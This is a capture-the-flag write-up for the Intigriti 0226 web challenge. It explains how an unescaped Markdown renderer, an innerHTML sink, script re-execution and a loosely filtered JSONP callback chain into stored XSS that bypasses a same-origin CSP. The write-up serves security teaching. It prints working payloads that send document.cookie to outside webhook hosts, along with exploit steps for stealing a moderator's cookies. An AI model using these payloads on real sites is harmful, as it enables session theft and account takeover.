# Write-up: Intigriti 0226 challenge

[Intigriti 0226 challenge by d3dn0v4](https://x.com/intigriti/status/2023381870008733733)

This is a brief story of how I approached and solved the Intigriti 0226 challenge from identifying the weak points to chaining them into a working.

**Let’s Get Started**

In this challenge, you are provided with a file containing the source code of the web application used for the challenge. Before diving into the attack plan, let’s break down what this web app actually does.

*   **Part 0x1**
    

In file app.py, the Markdown renderer uses regex substitutions but treats the original input as trusted HTML:

```python
def render_markdown(content):
    html_content = content
    html_content = re.sub(r'^### (.+)$', r'<h3>\1</h3>', html_content, flags=re.MULTILINE)
    html_content = re.sub(r'^## (.+)$', r'<h2>\1</h2>', html_content, flags=re.MULTILINE)
    html_content = re.sub(r'^# (.+)$', r'<h1>\1</h1>', html_content, flags=re.MULTILINE)
    html_content = re.sub(r'\*\*(.+?)\*\*', r'<strong>\1</strong>', html_content)
    html_content = re.sub(r'\*(.+?)\*', r'<em>\1</em>', html_content)
    html_content = re.sub(r'\[(.+?)\]\((.+?)\)', r'<a href="\2">\1</a>', html_content)
    html_content = html_content.replace('\n\n', '</p><p>')
    html_content = f'<p>{html_content}</p>'
    return html_content
```

Because there is no HTML sanitization/escaping, an attacker can include raw HTML tags including `<script>` in content, and they will remain present in the output.

*   **Part 0x2**
    

In preview.js, the application inserts the server rendered HTML directly into the page:

```javascript
fetch('/api/render?id=' + postId)
        .then(function(response) {
            if (!response.ok) throw new Error('Failed to load');
            return response.json();
        })
        .then(function(data) {
            const preview = document.getElementById('preview');
            preview.innerHTML = data.html;
            processContent(preview);
        })
        .catch(function(error) {
            document.getElementById('preview').innerHTML = '<p class="error">Failed to load content.</p>';
        });

```

This is a DOM XSS sink because attacker controlled HTML is parsed and inserted into the DOM.

*   **Part 0x3**
    

Even if scripts inserted via innerHTML do not always execute automatically in some cases, the app includes logic that explicitly executes them by creating new `<script>` elements:

```javascript

if (script.src && script.src.includes('/api/')) {
    const newScript = document.createElement('script');
    newScript.src = script.src;
    document.body.appendChild(newScript);
}

```

This ensures execution for any injected `<script src="">` matching /api/. The site used a CSP similar to script-src 'self'. That sounds restrictive, but it still allows scripts from the same origin. Since /api/ endpoints are hosted on the same origin, scripts loaded from /api/... are fully allowed by CSP.

*   **Part 0x4**
    

The JSONP endpoint directly injects callback into JavaScript without proper validation:

```python
@app.route('/api/jsonp')
def api_jsonp():
    callback = request.args.get('callback', 'handleData')
    
    if '<' in callback or '>' in callback:  # Filter ONLY < and >
        callback = 'handleData'
    
    response = f"{callback}({json.dumps(user_data)})"
    return Response(response, mimetype='application/javascript')

```

Filtering only < and > is insufficient because JavaScript injection does not require HTML tags. The attacker can supply a callback that is actually arbitrary JavaScript:

Example request

`/api/jsonp?callback=fetch('https://test.com/'+document.cookie)//`

Resulting response

`fetch('https://test.com/'+document.cookie)//({})`

Because the endpoint returns application/javascript, this is executed when loaded via a \`<script src=>\` tag

Now that we understand how it works, let’s break it.

**Solution**

Attacker creates a post containing a `<script>` tag pointing to /api/jsonp with a malicious callback payload. The preview feature renders content into the DOM via innerHTML. Client-side code re-inserts /api/ scripts by creating new `<script>` elements, ensuring execution.The JSONP endpoint returns attacker-controlled JavaScript, which runs under the application origin. Sensitive data (e.g., moderator cookies) can be exfiltrated to an attacker-controlled endpoint.

payload : `<script src="/api/jsonp?callback=fetch('https://webhookexample.com/?c='.concat(document.cookie))//"></script>`

**Exploit Steps:**

1.  Register and log in.
    
2.  Create a post and inject the payload above into the post content.
    
3.  Click “Report to Moderator”
    
4.  Observe the webhook receiving the victim’s document.cookie.
    

The application is vulnerable to stored DOM-based XSS due to an unsafe Markdown renderer that outputs attacker-controlled HTML, which is then inserted into the DOM using innerHTML. The impact is escalated by client-side logic that explicitly re-executes `<script>` tags referencing /api/ paths. An additional flaw in /api/jsonp allows JavaScript injection via an unvalidated callback parameter, enabling same-origin script execution under script-src 'self'.

This chain leads to account compromise and data exfiltration moderator cookies when privileged users view malicious content.

**Final Flag**

INTIGRITI{019c668f-bf9f-70e8-b793-80ee7f86e00b}
